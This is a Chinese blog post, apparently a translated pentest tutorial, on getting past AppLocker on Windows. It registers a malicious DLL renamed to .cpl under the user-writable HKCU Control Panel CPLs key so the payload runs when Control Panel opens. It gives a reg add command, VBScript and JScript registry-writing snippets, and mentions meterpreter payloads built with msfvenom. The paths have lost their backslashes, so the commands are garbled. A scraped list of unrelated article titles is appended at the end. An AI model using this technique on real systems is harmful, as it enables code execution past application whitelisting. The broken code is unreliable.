绕过AppLocker系列之控制面板的利用
Francesco Mifsud 发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。
HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。
绕过AppLocker ——阻止 CMD 运行
第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。
以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。
reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls" /v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"
绕过AppLocker —— 将注册表键添加到注册表
如果cmd被禁用,可以使用注册表编辑器添加注册表项:
注册表编辑器 – 添加CPL注册表键
Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。
VBScript:
const HKEY_CURRENT_USER = &H80000001strComputer = "."Set objReg=GetObject( "winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs" objReg.CreateKey HKEY_CURRENT_USER,strKeyPathstrValueName = "pentestlabCPL" strValue = "C:pentestlabCPL.cpl" objReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue
Jscript:
var obj = WScript.CreateObject("WScript.Shell"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");
从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。
AppLocker Bypass – 通过控制面板命令提示符
在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。
· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
绕过AppLocker系列之控制面板的利用相关推荐
- 绕过AppLocker系列之MSBuild的利用
本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual ...
- 如何利用msxsl绕过AppLocker?
本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代 ...
- keras系列︱迁移学习:利用InceptionV3进行fine-tuning及预测、完美案例(五)
之前在博客<keras系列︱图像多分类训练与利用bottleneck features进行微调(三)>一直在倒腾VGG16的fine-tuning,然后因为其中的Flatten层一直没有真 ...
- ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人
ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人 注:本篇博文全部源码下载地址为:Git Repo. 1. 下载到本地后解压到当前文件夹然后运行:catkin_ ...
- 统计系列(四)利用Python进行假设检验
统计系列(四)利用Python进行假设检验 z检验 主要应用场景:在大样本量的总体比例检验 核心:两样本的总体比例差异 单样本比例检验 # 检验样本合格率与0.38是否有差异 import numpy ...
- 统计系列(三)利用Python进行参数估计
统计系列(三)利用Python进行参数估计 点估计 样本均值估计为总体均值,样本比例估计为总体比例. import numpy as npx = [1, 1, 0, 1, 0, 0, 1, 0, 1, ...
- 风险管理系列课程二:利用图技术优化反洗钱解决方案
风险管理系列课程 随着相互关联的全球金融市场在规模和复杂性上快速增加,风险评估和监控所面临的挑战变得日益艰巨.一些复杂的金融工具数量激增,如信用违约互换和抵押担保证券,而且一旦出错,就会付出数以万亿的 ...
- 【Linux_Fedora_应用系列】_3_如何利用Smplayer播放WMV格式的文件
在上一篇我们成功安装了视频播放器,并且成功安装里解码器[Linux_Fedora_应用系列]_2_如何安装视频播放器和视频文件解码 安装完的Smplayer的GUI的界面程序,可以播放FLV.AVI. ...
- VARCHART XGantt系列教程:如何利用颜色来丰富甘特图智能
VARCHART XGantt是一款功能强大的甘特图控件.其模块化的设计让您可以创建满足您和您的客户所需求的应用程序(我们领先的甘特图控件VARCHART XGantt可用于DotNET,Active ...
- python微信爬取教程_PYTHON爬虫之旅系列教程之【利用Python开发微信公众平台一】...
感谢大家的等待,好啦,都准备好瓜子.板凳,老司机要发车啦-- 本系列课程讲述"PYTHON爬虫之旅",具体大纲可参考:[PYTHON爬虫之旅]概要目录. 本节课讲述如何利用Pyth ...
最新文章
- 一步步学习 Spring Data 系列之JPA(一)
- hadoop-HA集群搭建,启动DataNode,检测启动状态,执行HDFS命令,启动YARN,HDFS权限配置,C++客户端编程,常见错误
- IIs+php 最精简的环境配置
- C# new关键字和对象类型转换(双括号、is操作符、as操作符)
- ajax实现一个前台的进度条,前台ajax实现上传文件并且有进度条
- 【MySQL】向已有主键的表附加主键属性的自动编号
- .NET Framework也可以开发托管了
- jdbc postgresql mysql_jdbc无法连接postgresql数据库
- Apache Flink 在蔚来汽车的应用
- 异序二分查找 二分查找方程根 二分查找重复元素最后一个
- python为什么不能删除_为什么python不允许我删除文件?
- 国产分布式ETL调度管理工具 TASKCTL 8.0 核心/代理节点部署
- java计算机毕业设计小学教师课程管理系统源码+系统+数据库+lw文档
- ZebraDesigner-设计label
- 微服务架构下的统一身份认证和授权
- raid服务器怎么装win7系统安装,win7系统安装raid的方法(图文)
- 关于微信小程序picker之multiSelector多列选择器
- 改变世界前,先改变自己
- 基尔霍夫(kirchhoff)矩阵树定理
- java寻仙红尘缘修改版_微信拍一拍后缀创意搞笑文字大全 微信拍一拍搞笑后缀的句子...
热门文章
- 一个遮罩层怎么遮罩两个图层_遮罩动画是由两个图层组成的,一个是遮罩层,一个是被遮罩层。...
- SpringMVC:视图解析器(ViewResolver)
- 【论文解读 KDD 2019 | GATNE 】Representation Learning for Attributed Multiplex Heterogeneous Network
- [计算机网络]网络层
- python实现Content-Type:application/octet-stream
- java引用不同包下同名类_Java--一个类中引用不同包下同名类
- PaddleX语义分割
- 联想System X 3650M5 服务器装机问题记录
- raster包—stack函数
- 毕业设计之 --- 基于设深度学习的人脸性别年龄识别系统